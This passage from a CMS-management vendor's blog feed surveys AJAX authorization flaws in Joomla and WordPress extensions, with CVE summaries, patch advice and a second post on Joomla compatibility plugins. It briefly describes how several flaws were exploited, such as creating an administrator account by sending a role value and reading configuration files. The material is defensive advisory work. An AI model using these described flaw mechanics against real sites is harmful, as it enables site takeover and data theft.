&lt;p&gt;Joomla&apos;s webservice API layer did not properly verify that incoming requests had the right permissions, allowing unauthorized access to restricted endpoints. Reported by &lt;a href=&quot;https://developer.joomla.org/security-centre/1032-20260306-core-improper-access-check-in-webservice-endpoints.html&quot;&gt;vnth4nhnt from CyStack&lt;/a&gt; and fixed in the same release. Different mechanism than &lt;code&gt;com_ajax&lt;/code&gt;, same category of failure: an endpoint that accepts requests it should reject.&lt;/p&gt;
&lt;h2&gt;Is this just a March 2026 problem?&lt;/h2&gt;
&lt;p&gt;No. The same AJAX authorization failure has been producing critical vulnerabilities for at least a year:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/&quot;&gt;Advanced Custom Fields: Extended&lt;/a&gt; (CVE-2025-13486, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;acfe/form/render_form_ajax&lt;/code&gt; endpoint had no nonce check and no capability check. Unauthenticated visitors could invoke arbitrary PHP functions via &lt;code&gt;call_user_func_array()&lt;/code&gt;, leading to full remote code execution. Over 100,000 WordPress sites affected. Actively exploited in the wild from December 2025.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://thehackernews.com/2025/12/wordpress-king-addons-flaw-under-active.html&quot;&gt;King Addons for Elementor&lt;/a&gt; (CVE-2025-8489, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;king_addons_user_register&lt;/code&gt; AJAX action accepted a &lt;code&gt;user_role&lt;/code&gt; parameter from POST data without restriction and without any capability check. Any unauthenticated visitor could create an administrator account. Wordfence recorded over 48,400 blocked exploitation attempts from October 2025.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://zeropath.com/blog/gravity-forms-cve-2025-12352-summary&quot;&gt;Gravity Forms&lt;/a&gt; (CVE-2025-12352, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;copy_post_image&lt;/code&gt; AJAX function performed no file type validation and no authorization check. Unauthenticated attackers could upload PHP backdoors. This is one of the most widely-used premium WordPress form plugins.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/gotmls/vulnerability/anti-malware-security-and-brute-force-firewall-4-23-81-missing-authorization-to-authenticated-subscriber-arbitrary-file-read&quot;&gt;Anti-Malware Security and Brute-Force Firewall&lt;/a&gt; (CVE-2025-11705, CVSS 6.5)&lt;/strong&gt; - A security plugin with the same vulnerability it was supposed to protect against. The scan AJAX handler had CSRF protection via a nonce but never called &lt;code&gt;current_user_can()&lt;/code&gt; to verify the user&apos;s role. Any subscriber could obtain the nonce through the quarantine view and use it to read arbitrary files, including &lt;code&gt;wp-config.php&lt;/code&gt;. Over 100,000 installs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://cvefeed.io/vuln/detail/CVE-2025-1661&quot;&gt;HUSKY Products Filter for WooCommerce&lt;/a&gt; (CVE-2025-1661, CVSS 9.8)&lt;/strong&gt; - The &lt;code&gt;woof_text_search&lt;/code&gt; AJAX action was registered for unauthenticated users via &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;. The &lt;code&gt;template&lt;/code&gt; parameter accepted user input for file inclusion with no path restriction. Unauthenticated local file inclusion leading to full remote code execution.&lt;/p&gt;
&lt;p&gt;Same blueprint every time. The March 2026 cluster just made the pattern impossible to ignore by hitting both CMS platforms in the same month.&lt;/p&gt;
&lt;h2&gt;What should extension developers be doing better?&lt;/h2&gt;
&lt;p&gt;The five March 2026 CVEs and the year of AJAX vulnerabilities before them all trace back to one habit: developers treating AJAX endpoints as internal plumbing rather than public attack surface.&lt;/p&gt;
&lt;h3&gt;Always authorize, never just authenticate&lt;/h3&gt;
&lt;p&gt;A CSRF token or nonce only proves the request was not forged. It says nothing about who the user is or whether they have permission to perform the action. Every AJAX handler needs both an authentication check (is this a valid, logged-in user?) and a capability check (does this user have the right permissions?).&lt;/p&gt;
&lt;p&gt;In WordPress, that means &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; (or whatever capability fits the action) before executing any logic. In Joomla, that means &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_yourcomponent&apos;)&lt;/code&gt; or a more specific ACL check.&lt;/p&gt;
&lt;h3&gt;Never trust the framework to do your security for you&lt;/h3&gt;
&lt;p&gt;Until Joomla 5.4.4, &lt;code&gt;com_ajax&lt;/code&gt; in the backend did not require authentication. Even after the fix, neither Joomla nor WordPress checks authorization at the framework level. Your AJAX handler is a public endpoint. Treat it like one.&lt;/p&gt;
&lt;h3&gt;Register the minimum access level&lt;/h3&gt;
&lt;p&gt;In WordPress, only register &lt;code&gt;wp_ajax_nopriv_{action}&lt;/code&gt; if the action genuinely needs to work for unauthenticated visitors. For admin-only actions, only register &lt;code&gt;wp_ajax_{action}&lt;/code&gt;. This gives you the framework&apos;s login check as a free first line of defence.&lt;/p&gt;
&lt;p&gt;In Joomla (post-5.4.4), the backend &lt;code&gt;com_ajax&lt;/code&gt; now requires authentication by default. But developers supporting older Joomla versions should still verify the user is logged in (e.g. checking &lt;code&gt;$app-&amp;gt;getIdentity()-&amp;gt;id&lt;/code&gt; is non-zero) as a fallback.&lt;/p&gt;
&lt;h3&gt;Validate and sanitize all input&lt;/h3&gt;
&lt;p&gt;File paths, role names, SQL fragments - nothing from the request body should be used directly. The King Addons privilege escalation happened because the plugin accepted &lt;code&gt;user_role=administrator&lt;/code&gt; from POST data without question. The HUSKY vulnerability happened because a file path was used in an inclusion without sanitization.&lt;/p&gt;
&lt;h3&gt;Audit your existing AJAX handlers&lt;/h3&gt;
&lt;p&gt;If you maintain a WordPress plugin or Joomla extension, search your codebase for &lt;code&gt;wp_ajax_&lt;/code&gt;, &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;, and &lt;code&gt;com_ajax&lt;/code&gt; handlers. For each one, verify: does it check the user&apos;s capabilities? Does it validate all input? Could a subscriber (or a guest) reach it?&lt;/p&gt;
&lt;p&gt;The Astroid fix was a single line of code. The Novarain fix was similar. These are not hard problems to solve - they are easy problems that nobody solved until attackers found them first.&lt;/p&gt;
&lt;h2&gt;What else was fixed in Joomla 5.4.4?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4 security release&lt;/a&gt; on 31 March 2026 patched six CVEs in total. Beyond the AJAX and API issues already discussed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Reporter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html&quot;&gt;CVE-2026-23898&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;com_joomlaupdate&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Arbitrary file deletion via the autoupdate server mechanism&lt;/td&gt;
&lt;td&gt;Phil Taylor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html&quot;&gt;CVE-2026-21630&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;com_content webservice&lt;/td&gt;
&lt;td&gt;High impact&lt;/td&gt;
&lt;td&gt;SQL injection in the articles API via improperly built order clauses&lt;/td&gt;
&lt;td&gt;GitHub Security Lab, CyStack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1029-20260303-core-xss-in-com-associations-comparison-view.html&quot;&gt;CVE-2026-21631&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;com_associations&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;XSS in the multilingual associations comparison view&lt;/td&gt;
&lt;td&gt;UNC Pembroke researchers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1030-20260304-core-xss-in-various-article-title-outputs.html&quot;&gt;CVE-2026-21632&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Various article outputs&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;XSS from unescaped article titles in multiple locations&lt;/td&gt;
&lt;td&gt;Peter Vanderhulst&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;CVE-2026-23898 - Reported by Phil Taylor&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;&amp;lt;a href=&quot;https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html&quot; class=&quot;underline&quot;&amp;gt;CVE-2026-23898&amp;lt;/a&amp;gt; is a high-severity arbitrary file deletion vulnerability in &amp;lt;code&amp;gt;com_joomlaupdate&amp;lt;/code&amp;gt;, reported by Phil Taylor (the author of this blog and founder of mySites.guru). The autoupdate server mechanism lacked input validation, allowing an attacker to delete any file on the server that the PHP process has access to - not just Joomla files, but anything the web server user can reach. The component responsible for keeping Joomla up to date had a security hole in it.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;An attacker who can delete files can take a site offline, weaken its security configuration, or expose protected directories by removing &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt;. File deletion vulnerabilities can also be chained with other attacks to escalate to full site takeover.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;CVE-2026-21630 is another high-impact endpoint vulnerability - SQL injection in the content API. That makes four of the six CVEs in this release targeting API or AJAX-adjacent attack surfaces.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru help when vulnerabilities like these drop?&lt;/h2&gt;
&lt;p&gt;Every hour between a security release and your update is an hour your sites are exposed with a known, published vulnerability.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru dashboard&lt;/a&gt; shows every connected site&apos;s core version and extension versions at a glance. Filter by version to see exactly which sites need updating, without logging into each one individually.&lt;/p&gt;
&lt;p&gt;Need to know which sites run a specific vulnerable extension? The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; indexes every plugin and extension across your entire portfolio and groups results by version number. This is how we flagged &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;724 agencies running vulnerable Smart Slider 3&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;8,297 sites with the Novarain Framework&lt;/a&gt; within hours of disclosure.&lt;/p&gt;
&lt;p&gt;Once you know what needs patching, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass update tool&lt;/a&gt; pushes updates to all affected sites in a single operation. For agencies managing dozens or hundreds of sites, this turns a full day&apos;s work into a ten-minute task.&lt;/p&gt;
&lt;p&gt;After updating, the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; verifies each site by checking for modified core files, backdoors, and anything else that looks wrong. If a site was compromised before you could apply the patch, the audit catches the signs.&lt;/p&gt;
&lt;p&gt;Not sure whether your sites are at risk? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any Joomla or WordPress site to get an immediate assessment.&lt;/p&gt;
&lt;h2&gt;What should agency owners do right now?&lt;/h2&gt;
&lt;h3&gt;1. Update everything&lt;/h3&gt;
&lt;p&gt;If you run Joomla sites, update to 5.4.4 or 6.0.4 today. If you run WordPress sites, make sure Smart Slider 3 is on 3.5.1.34 or later. Check for the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework&lt;/a&gt; (update to 3.3.13+) and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&lt;/a&gt; (update to 6.0.38+) on your Joomla sites.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru can push updates across your entire portfolio&lt;/a&gt; from a single dashboard.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-red-900 dark:text-red-200&quot;&amp;gt;Joomla 5.4.4 may break existing plugins&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;The com_ajax ACL fix in 5.4.4 blocks all unauthenticated admin AJAX requests by default. If you have extensions that use admin AJAX endpoints without a Joomla session (including extensions that had their own authentication via API keys or custom tokens), those extensions will stop working after the update. Extensions that never had any authentication will also stop working, which is the intended outcome. Check for broken functionality in your admin AJAX workflows after updating. Extension developers need to either add the &amp;lt;code&amp;gt;#[AllowUnauthorizedAdministratorAccess]&amp;lt;/code&amp;gt; attribute to methods that legitimately need unauthenticated access, or ensure their handlers work within a valid Joomla admin session.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;2. Audit your AJAX endpoints&lt;/h3&gt;
&lt;p&gt;Check what your extensions expose through &lt;code&gt;com_ajax&lt;/code&gt; on Joomla or &lt;code&gt;admin-ajax.php&lt;/code&gt; on WordPress. Look at which webservice endpoints are accessible and whether they are properly locked down. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru security audit&lt;/a&gt; catches many of these issues, but manual review of your extension stack is also worthwhile for custom or niche extensions.&lt;/p&gt;
&lt;h3&gt;3. Remove what you don&apos;t use&lt;/h3&gt;
&lt;p&gt;Every installed extension is potential attack surface. If you have plugins or extensions you are not actively using, uninstall them. An extension you forgot about can still expose AJAX endpoints to the public internet.&lt;/p&gt;
&lt;h3&gt;4. Monitor for compromise&lt;/h3&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; so you are alerted immediately if any watched files are modified. Run the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; to check for backdoors that may have been installed before you patched.&lt;/p&gt;
&lt;h3&gt;5. Keep watching&lt;/h3&gt;
&lt;p&gt;This pattern is not going away. Joomla 5.4.4 added authentication to &lt;code&gt;com_ajax&lt;/code&gt; and WordPress already gates &lt;code&gt;wp_ajax_&lt;/code&gt; hooks behind a login check, but neither framework verifies authorization. That is still the developer&apos;s job. Every new extension that ships an AJAX handler without a capability check is a potential vulnerability, and the only fix is developer education.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 6.0.4 and 5.4.4 Security and Bugfix Release&lt;/a&gt; - the official release announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - full details on all six CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629: com_ajax ACL hardening&lt;/a&gt; - the framework-level fix that confirms the pattern&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/known-issues/6.0.4/&quot;&gt;Joomla 6.0.4 known issues (B/C break)&lt;/a&gt; - the buried documentation of the com_ajax breaking change&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/47b48aeceae211ae8016cf1da2b821a0d0467f55&quot;&gt;com_ajax fix commit&lt;/a&gt; - the actual code change that flipped the default&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/component-examples/ajaxdemo/&quot;&gt;Joomla AjaxDemo example&lt;/a&gt; - the official AJAX example with no security checks&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/plugins/plugin-examples/ajax-plugin/&quot;&gt;Joomla AJAX plugin example&lt;/a&gt; - plugin AJAX example, also no auth/authz guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/com-ajax/&quot;&gt;Joomla com_ajax docs&lt;/a&gt; - com_ajax reference, no security warnings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/ajax/&quot;&gt;Joomla AJAX general docs&lt;/a&gt; - general AJAX docs, no auth/authz mention&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html&quot;&gt;OWASP AJAX Security Cheat Sheet&lt;/a&gt; - general AJAX security guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework Vulnerability&lt;/a&gt; - CVE-2026-21628 (CVSS 10.0), the textbook com_ajax auth bypass&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Vulnerability&lt;/a&gt; - CVE-2026-21627 (CVSS 9.5), fully unauthenticated com_ajax exploitation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Vulnerability&lt;/a&gt; - CVE-2026-3098 (CVSS 6.5), the WordPress admin-ajax.php equivalent&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all patched vulnerabilities in the same month, showing the breadth of the WordPress plugin security problem&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;Agency Security Guide&lt;/a&gt; - broader CMS security guidance for agencies&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>ajax</category><category>security</category><category>joomla</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/ajax-endpoints-cms-security-blind-spot.kHKDUuNc.png" length="0" type="image/png"/></item><item><title>Joomla&apos;s Compat Plugin Is a Crutch, Not a Fix</title><link>https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/</guid><description>Joomla&apos;s backward compatibility plugins keep broken extensions alive. Here&apos;s why that&apos;s technical debt, how to test without them, and how to recover if your site crashes.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every major Joomla release ships with a backward compatibility plugin. It maps old, deprecated class names to their new equivalents so extensions that haven&apos;t been updated keep working. Most site owners leave it enabled and never think about it again.&lt;/p&gt;
&lt;p&gt;The compat plugin is a safety net with an expiry date. Each version gets &lt;strong&gt;removed&lt;/strong&gt; in the next major release. &lt;code&gt;plg_behaviour_compat&lt;/code&gt; (the Joomla 4 compatibility layer) shipped with Joomla 5 and is completely gone in Joomla 6. If any of your extensions still rely on those old class names, your site breaks on upgrade with a fatal error and a white screen.&lt;/p&gt;
&lt;p&gt;mySites.guru now tracks compat plugin status across all your connected sites. You can see at a glance which sites still have the compat layer enabled, and toggle it remotely to test readiness - without logging into each site individually.&lt;/p&gt;
&lt;h2&gt;What Do the Joomla Compat Plugins Actually Do?&lt;/h2&gt;
&lt;p&gt;There are two distinct plugins, each covering a different generation of deprecated code:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;plg_behaviour_compat&lt;/strong&gt; (Joomla 5 only, removed in Joomla 6)&lt;/p&gt;
&lt;p&gt;This plugin provides class aliases for over 400 deprecated Joomla 4 class names. When an extension calls &lt;code&gt;JPlugin&lt;/code&gt;, &lt;code&gt;JTable&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JRegistry&lt;/code&gt;, &lt;code&gt;JModelAdmin&lt;/code&gt;, or any of the other legacy names that have existed since Joomla 1.0, the compat plugin redirects those calls to the Joomla 5 namespaced equivalents. It also handles ES5 JavaScript asset fallbacks and removed asset compatibility.&lt;/p&gt;
&lt;p&gt;It has three independently toggleable options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes_aliases&lt;/code&gt; - maps old class names to new ones (enabled by default). This one adds ~500+ PHP function calls per request and is the hardest to turn off safely.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;es5_assets&lt;/code&gt; - loads ES5 fallback JavaScript (enabled by default). Over 1000 lines of JSON data per request. Safe to disable on most sites.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;removed_asset&lt;/code&gt; - provides compatibility for removed JS/CSS assets (enabled by default). Minimal overhead (~15 lines of JSON). Also safe to disable.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;plg_behaviour_compat6&lt;/strong&gt; (Joomla 5.4+, Joomla 6, Joomla 7)&lt;/p&gt;
&lt;p&gt;This is the newer compat plugin, introduced in Joomla 5.4 to give developers time to prepare for Joomla 6. It specifically covers three things removed from the J6 core:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;\Joomla\CMS\Input\*&lt;/code&gt; namespace (replaced by &lt;code&gt;\Joomla\Input\*&lt;/code&gt; from the Framework)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\Joomla\CMS\Filesystem\*&lt;/code&gt; package (replaced by &lt;code&gt;\Joomla\Filesystem\*&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;JPATH_PLATFORM&lt;/code&gt; constant (replaced by &lt;code&gt;_JEXEC&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It has two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes_aliases&lt;/code&gt; - maps deprecated class names (disabled by default)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;legacy_classes&lt;/code&gt; - provides full legacy class implementations for Input, Filesystem, and Application (enabled by default)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On new Joomla 6 installations, this plugin is installed but disabled by default, on the assumption that fresh installs don&apos;t carry legacy code.&lt;/p&gt;
&lt;p&gt;Same pattern as before: the compat plugin arrives one minor version before the major release and gets removed in the version after that.&lt;/p&gt;
&lt;h2&gt;Why Is the Joomla 5 Compat Plugin Called &quot;compat6&quot;?&lt;/h2&gt;
&lt;p&gt;The naming trips people up. The &quot;6&quot; in &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; refers to the Joomla version it makes your code compatible &lt;strong&gt;with&lt;/strong&gt;, not the version it runs on. It provides the deprecated J5 classes so your old code works on Joomla 6.&lt;/p&gt;
&lt;p&gt;Same logic for the original: &lt;code&gt;plg_behaviour_compat&lt;/code&gt; provides deprecated J4 classes so old code works on Joomla 5. There&apos;s no number because it was the first one.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin name&lt;/th&gt;
&lt;th&gt;Runs on&lt;/th&gt;
&lt;th&gt;Provides&lt;/th&gt;
&lt;th&gt;So your old code works on&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;td&gt;J4 class aliases&lt;/td&gt;
&lt;td&gt;Joomla 5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5.4+, 6, 7&lt;/td&gt;
&lt;td&gt;J5 class aliases&lt;/td&gt;
&lt;td&gt;Joomla 6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Why Leaving the Compat Plugin Enabled Is Technical Debt&lt;/h2&gt;
&lt;p&gt;When the compat plugin is doing its job, everything looks fine. Your site works, your extensions work, nobody complains. But underneath, you&apos;re accumulating technical debt:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt; is gone in Joomla 6. If you upgrade to J6 with extensions that still need it, those extensions break immediately. The class doesn&apos;t exist anymore, full stop.&lt;/p&gt;
&lt;p&gt;The sneaky part: because the compat plugin rewrites class references on the fly, there&apos;s no log entry or warning that an extension is using deprecated code. Everything passes the Joomla pre-update check. Everything looks ready for the next version. Then you upgrade and find out it wasn&apos;t.&lt;/p&gt;
&lt;p&gt;Smaller extension developers often don&apos;t realise they have a problem either. They test on Joomla 5 with the compat plugin enabled (it&apos;s on by default), their extension works, they ship it, and nobody notices the dependency on deprecated classes until a client tries to run it on J6.&lt;/p&gt;
&lt;p&gt;There&apos;s also a minor performance cost. The compat plugin runs on every request, loading class maps and checking aliases. Not huge, but unnecessary for extensions that have been properly updated.&lt;/p&gt;
&lt;h2&gt;Check Compat Plugin Status Across All Your Joomla Sites&lt;/h2&gt;
&lt;p&gt;We&apos;ve added compat plugin tracking to the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements&lt;/a&gt; tool. The new &lt;strong&gt;Compat Plugin&lt;/strong&gt; column shows the enabled/disabled state for every connected site at a glance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Green &quot;Disabled&quot; means the compat plugin is off and your site runs without the compatibility layer&lt;/li&gt;
&lt;li&gt;Yellow &quot;Enabled&quot; means the compat plugin is still active, so some extensions may depend on it&lt;/li&gt;
&lt;li&gt;Grey &quot;N/A&quot; means the plugin doesn&apos;t apply to that Joomla version (e.g., J4 sites)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is included in all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost. Connect &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; and check them all from one screen.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;See compat plugin status for all your Joomla sites&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 flex flex-wrap gap-3&quot;&amp;gt;
&amp;lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Joomla 6 Compatibility Checker&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla5/compatibility&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Joomla 5 Compatibility Checker&amp;lt;/a&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Colour-codes every connected Joomla site&apos;s PHP version, database version, update channel, and compat plugin status. You need to be logged in.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
